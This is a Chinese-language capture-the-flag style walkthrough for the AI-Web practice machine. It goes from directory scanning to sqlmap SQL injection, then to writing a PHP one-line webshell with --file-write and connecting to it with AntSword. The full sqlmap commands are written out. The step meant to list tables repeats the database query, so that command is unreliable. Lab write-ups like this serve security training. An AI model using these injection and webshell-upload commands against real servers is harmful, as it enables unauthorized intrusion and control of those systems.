AI-Web 靶机通关略

步骤一：使用Goby扫描靶机IP

步骤二：使用dirsearch扫描目录

得出/robots.txt ,然后进行访问

步骤三：尝试访问目录

/m3diNf0/ 不能正常访问

/se3reTdir777/uploads/ 不能正常访问

/se3reTdir777/得出页面

步骤四：对/m3diNf0/和/se3reTdir777/uploads/进行扫描

/se3reTdir777/uploads/无发现  /m3diNf0/发现info.php 访问得出

对/se3reTdir777/进行扫描

得出index.php

步骤五：输入1

输入1' 存在报错

步骤六：对数据进行抓包

创建1.txt，粘贴抓包所得

步骤七:设置抓包点，利用sqlmap工具去注入

（1）查询当前数据库

python D:\sqlmap\sqlmapproject-sqlmap-edb9a15\sqlmap.py -r C:\Users\Administrator\Desktop\1.txt --current-db --batch

数据库名为aiweb1

（2）查表

python D:\sqlmap\sqlmapproject-sqlmap-edb9a15\sqlmap.py -r C:\Users\Administrator\Desktop\1.txt -
-current-db --batch

步骤八：写入木马

找到绝对路径

上传一句话木马

python D:\sqlmap\sqlmapproject-sqlmap-edb9a15\sqlmap.py -r C:\Users\Administrator\Desktop\1.txt --file-write="C:\Users\Administrator\Desktop\lsz.php" --file-dest="/home/www/html/web1x443290o2sdf92213//se3reTdir777/uploads/lsz.php"

步骤九：使用中国蚁剑进行连接